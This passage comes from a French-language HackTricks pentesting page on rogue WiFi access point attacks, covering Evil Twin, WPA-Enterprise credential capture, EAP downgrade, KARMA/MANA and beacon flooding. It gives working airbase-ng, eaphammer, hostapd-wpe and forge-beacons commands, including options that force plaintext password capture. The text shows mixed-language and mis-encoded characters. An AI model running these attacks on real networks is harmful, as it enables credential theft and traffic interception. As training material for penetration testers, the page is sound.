iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward
Evil Twin
Une attaque Evil Twin exploite la façon dont les clients WiFi reconnaissent les réseaux, s'appuyant principalement sur le nom du réseau (ESSID) sans exiger que la base station (access point) s'authentifie auprÚs du client. Les points clés incluent :
- DifficultĂ© de diffĂ©renciation : Les appareils ont du mal Ă distinguer les access points lĂ©gitimes des rogue access points lorsqu'ils partagent le mĂȘme ESSID et le mĂȘme type de chiffrement. Les rĂ©seaux rĂ©els utilisent souvent plusieurs access points avec le mĂȘme ESSID pour Ă©tendre la couverture de maniĂšre transparente.
- ItinĂ©rance client et manipulation de connexion : Le protocole 802.11 permet aux appareils d'itinerer entre access points au sein du mĂȘme ESS. Les attaquants peuvent exploiter cela en incitant un appareil Ă se dĂ©connecter de sa base station actuelle et Ă se connecter Ă un rogue access point. Cela peut ĂȘtre rĂ©alisĂ© en offrant un signal plus fort ou en perturbant la connexion Ă l'access point lĂ©gitime via des mĂ©thodes comme des deauthentication packets ou du jamming.
- DifficultĂ©s d'exĂ©cution : RĂ©aliser avec succĂšs une attaque Evil Twin dans des environnements comportant plusieurs access points bien placĂ©s peut ĂȘtre complexe. Le fait de deauthenticating un seul access point lĂ©gitime entraĂźne souvent la connexion de l'appareil Ă un autre access point lĂ©gitime, sauf si l'attaquant peut deauthenticate tous les access points Ă proximitĂ© ou placer stratĂ©giquement le rogue access point.
You can create a very basic Open Evil Twin (no capabilities to route traffic to Internet) doing:
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
Vous pouvez aussi créer un Evil Twin en utilisant eaphammer (notez que, pour créer des evil twins avec eaphammer, l'interface should NOT be en monitor mode) :
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
Ou en utilisant Airgeddon : Options: 5,6,7,8,9 (inside Evil Twin attack menu).
Veuillez noter que par défaut, si un ESSID dans le PNL est enregistré comme protégé par WPA, le dispositif ne se connectera pas automatiquement à un Open evil Twin. Vous pouvez essayer de DoS l'AP réel et espérer que l'utilisateur se connectera manuellement à votre Open evil twin, ou vous pouvez DoS l'AP réel et utiliser un WPA Evil Twin pour capturer le handshake (avec cette méthode vous ne pourrez pas laisser la victime se connecter à vous puisque vous ne connaissez pas le PSK, mais vous pouvez capturer le handshake et tenter de le cracker).
Certains OS et AV avertiront l'utilisateur que se connecter Ă un Open network est dangereux...
WPA/WPA2 Evil Twin
Vous pouvez créer un Evil Twin using WPA/2 et si les appareils sont configurés pour se connecter à ce SSID avec WPA/2, ils vont tenter de se connecter. Quoi qu'il en soit, to complete the 4-way-handshake vous devez aussi know le password que le client va utiliser. Si vous don't know celui-ci, la connection won't be completed.
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
Enterprise Evil Twin
Pour comprendre ces attaques, je recommande de lire d'abord le bref WPA Enterprise explanation.
Utiliser hostapd-wpe
hostapd-wpe
a besoin d'un fichier de configuration pour fonctionner. Pour automatiser la génération de ces configurations, vous pouvez utiliser https://github.com/WJDigby/apd_launchpad (téléchargez le fichier python dans /etc/hostapd-wpe)
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s
Dans le fichier de configuration, vous pouvez sélectionner de nombreuses choses différentes comme ssid, channel, fichiers utilisateur, cret/key, dh parameters, wpa version et auth...
Using hostapd-wpe with EAP-TLS to allow any certificate to login.
Utiliser EAPHammer
# Generate Certificates
./eaphammer --cert-wizard
# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
Par défaut, EAPHammer cible ces méthodes d'authentification (notez GTC en premier pour tenter d'obtenir les mots de passe en clair, puis l'utilisation de méthodes d'authentification plus robustes) :
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
Ceci est la méthodologie par défaut pour éviter de longues durées de connexion. Cependant, vous pouvez aussi spécifier au serveur les méthodes d'authentification de la plus faible à la plus forte :
--negotiate weakest
Ou vous pouvez également utiliser :
--negotiate gtc-downgrade
to use highly efficient GTC downgrade implementation (plaintext passwords)--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP
to specify manually the methods offered (offering the same auth methods in the same order as the organisation the attack will be much more difficult to detect).- Find more info in the wiki
Using Airgeddon
Airgeddon
peut utiliser des certificats préalablement générés pour proposer une authentification EAP aux réseaux WPA/WPA2-Enterprise. Le réseau factice rétrogradera le protocole de connexion vers EAP-MD5 de sorte qu'il pourra capturer l'utilisateur et le MD5 du mot de passe. Ensuite, l'attaquant peut tenter de cracker le mot de passe.
Airggedon
vous offre la possibilité d'une continuous Evil Twin attack (noisy) ou de créer uniquement l'Evil Attack jusqu'à ce que quelqu'un se connecte (smooth).
Debugging PEAP and EAP-TTLS TLS tunnels in Evil Twins attacks
Cette méthode a été testée sur une connexion PEAP mais comme je décrypte un tunnel TLS arbitraire, cela devrait aussi fonctionner avec EAP-TTLS.
Dans la configuration de hostapd-wpe, commentez la ligne qui contient dh_file (de dh_file=/etc/hostapd-wpe/certs/dh
Ă #dh_file=/etc/hostapd-wpe/certs/dh
)
Cela forcera hostapd-wpe
à échanger les clés en utilisant RSA au lieu de DH, vous permettant ainsi de décrypter le trafic plus tard en connaissant la clé privée du serveur.
Démarrez maintenant l'Evil Twin en utilisant hostapd-wpe
avec cette configuration modifiée comme d'habitude. Démarrez également wireshark
sur l'interface qui effectue l'attaque Evil Twin.
Maintenant ou plus tard (lorsque vous avez déjà capturé quelques tentatives d'authentification) vous pouvez ajouter la clé RSA privée à wireshark dans : Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...
Ajoutez une nouvelle entrée et remplissez le formulaire avec ces valeurs : IP address = any -- Port = 0 -- Protocol = data -- Key File (sélectionnez votre fichier de clé, pour éviter les problÚmes sélectionnez un fichier de clé sans protection par mot de passe).
Et regardez le nouvel onglet "Decrypted TLS" :
KARMA, MANA, Loud MANA and Known beacons attack
ESSID and MAC black/whitelists
Différents types de Media Access Control Filter Lists (MFACLs) et leurs modes correspondants, ainsi que les effets sur le comportement d'un rogue Access Point (AP) :
- MAC-based Whitelist:
- Le rogue AP répondra uniquement aux probe requests des appareils spécifiés dans la whitelist, restant invisible pour tous les autres non listés.
- MAC-based Blacklist:
- Le rogue AP ignorera les probe requests des appareils présents sur la blacklist, rendant effectivement le rogue AP invisible pour ces appareils spécifiques.
- SSID-based Whitelist:
- Le rogue AP répondra aux probe requests uniquement pour les ESSIDs spécifiques listés, le rendant invisible pour les appareils dont les Preferred Network Lists (PNLs) ne contiennent pas ces ESSIDs.
- SSID-based Blacklist:
- Le rogue AP ne répondra pas aux probe requests pour les ESSIDs spécifiques présents sur la blacklist, le rendant invisible pour les appareils cherchant ces réseaux particuliers.
# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
37:ab:46:7a:9a:7c
c7:36:8c:b2:*:*
[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
# example ESSID-based MFACL file
name1
name2
name3
[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]
KARMA
Cette méthode permet à un attaquant de créer un point d'accÚs malveillant (AP) qui répond à toutes les probe requests des appareils cherchant à se connecter à des réseaux. Cette technique trompe les appareils pour qu'ils se connectent à l'AP de l'attaquant en imitant les réseaux que les appareils recherchent. Une fois qu'un appareil envoie une demande de connexion à ce rogue AP, la connexion s'établit, entraßnant l'appareil à se connecter par erreur au réseau de l'attaquant.
MANA
Ensuite, les appareils ont commencé à ignorer les réponses réseau non fiables, réduisant l'efficacité de l'attaque karma originale. Cependant, une nouvelle méthode, connue sous le nom de MANA attack, a été introduite par Ian de Villiers et Dominic White. Cette méthode implique que le rogue AP capture les Preferred Network Lists (PNL) des appareils en répondant à leurs broadcast probe requests avec des noms de réseau (SSIDs) précédemment connus par les appareils. Cette attaque sophistiquée contourne les protections contre l'attaque karma originale en exploitant la façon dont les appareils mémorisent et priorisent les réseaux connus.
La MANA attack fonctionne en surveillant à la fois les directed et broadcast probe requests des appareils. Pour les directed requests, il enregistre le MAC address de l'appareil et le nom du réseau demandé, ajoutant ces informations à une liste. Lorsqu'une broadcast request est reçue, l'AP répond avec des informations correspondant à l'un des réseaux dans la liste de l'appareil, incitant l'appareil à se connecter au rogue AP.
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
Loud MANA
Une Loud MANA attack est une stratĂ©gie avancĂ©e pour les cas oĂč les appareils n'utilisent pas directed probing ou lorsque leurs Preferred Network Lists (PNL) sont inconnues de l'attaquant. Elle repose sur le principe que les appareils situĂ©s dans la mĂȘme zone partagent probablement certains noms de rĂ©seau dans leurs PNL. PlutĂŽt que de rĂ©pondre de maniĂšre sĂ©lective, cette attaque diffuse des probe responses pour chaque nom de rĂ©seau (ESSID) trouvĂ© dans les PNL combinĂ©es de tous les appareils observĂ©s. Cette approche large augmente la probabilitĂ© qu'un appareil reconnaisse un rĂ©seau familier et tente de se connecter au rogue Access Point (AP).
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
Known Beacon attack
Lorsque la Loud MANA attack peut ne pas suffire, la Known Beacon attack offre une autre approche. Cette mĂ©thode brute-forces le processus de connexion en simulant un AP qui rĂ©pond Ă n'importe quel nom de rĂ©seau, parcourant une liste d'ESSIDs potentiels dĂ©rivĂ©e d'une wordlist. Cela simule la prĂ©sence de nombreux rĂ©seaux, dans l'espoir de correspondre Ă un ESSID dans le PNL de la victime, provoquant une tentative de connexion vers l'AP factice. L'attaque peut ĂȘtre amplifiĂ©e en la combinant avec l'option --loud
pour une tentative plus agressive de piéger des appareils.
Eaphammer a implĂ©mentĂ© cette attaque comme une MANA attack oĂč tous les ESSIDs dans une liste sont chargĂ©s (vous pouvez aussi combiner cela avec --loud
pour créer une Loud MANA + Known beacons attack):
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
Known Beacon Burst attack
L'Known Beacon Burst attack implique la diffusion en rafale de beacon frames pour chaque ESSID listé dans un fichier. Cela crée un environnement dense de réseaux factices, augmentant fortement la probabilité que des appareils se connectent au rogue AP, surtout lorsqu'elle est combinée à une MANA attack. Cette technique exploite la vitesse et le volume pour submerger les mécanismes de sélection de réseau des appareils.
# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5
Wi-Fi Direct
Wi-Fi Direct est un protocole permettant à des appareils de se connecter directement entre eux via Wi-Fi sans avoir besoin d'un point d'accÚs sans fil traditionnel. Cette fonctionnalité est intégrée à divers appareils de l'Internet des objets (IoT), tels que les imprimantes et les télévisions, facilitant la communication directe appareil-à -appareil. Une caractéristique notable de Wi-Fi Direct est qu'un appareil assume le rÎle d'un point d'accÚs, connu sous le nom de group owner, pour gérer la connexion.
La sécurité des connexions Wi-Fi Direct est assurée par Wi-Fi Protected Setup (WPS), qui prend en charge plusieurs méthodes d'appairage sécurisé, notamment :
- Push-Button Configuration (PBC)
- PIN entry
- Near-Field Communication (NFC)
Ces mĂ©thodes, en particulier PIN entry, sont vulnĂ©rables aux mĂȘmes failles que WPS dans les rĂ©seaux Wi-Fi traditionnels, ce qui en fait des cibles pour des vecteurs d'attaque similaires.
EvilDirect Hijacking
EvilDirect Hijacking est une attaque spĂ©cifique Ă Wi-Fi Direct. Elle reprend le concept d'une Evil Twin attack mais cible les connexions Wi-Fi Direct. Dans ce scĂ©nario, un attaquant usurpe un group owner lĂ©gitime dans le but d'inciter les appareils Ă se connecter Ă une entitĂ© malveillante. Cette mĂ©thode peut ĂȘtre exĂ©cutĂ©e Ă l'aide d'outils comme airbase-ng
en spécifiant le channel, l'ESSID et la MAC address de l'appareil usurpé :
Références
- https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee
- https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9
- https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38
- https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d
- https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf
- http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/
- https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/
- https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d
- https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)
- https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/
- The vulnerability that killed FreeWifi_Secure
- RFC 4186 â EAP-SIM Authentication
- 3GPP TS 33.402 â 3GPP system architecture evolution (SAE); Security aspects of non-3GPP accesses
TODO : Jetez un Ćil Ă [https://github.com/wifiphisher/wifiphisher] (connexion avec Facebook et imitation de WPA dans des captive portals)
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.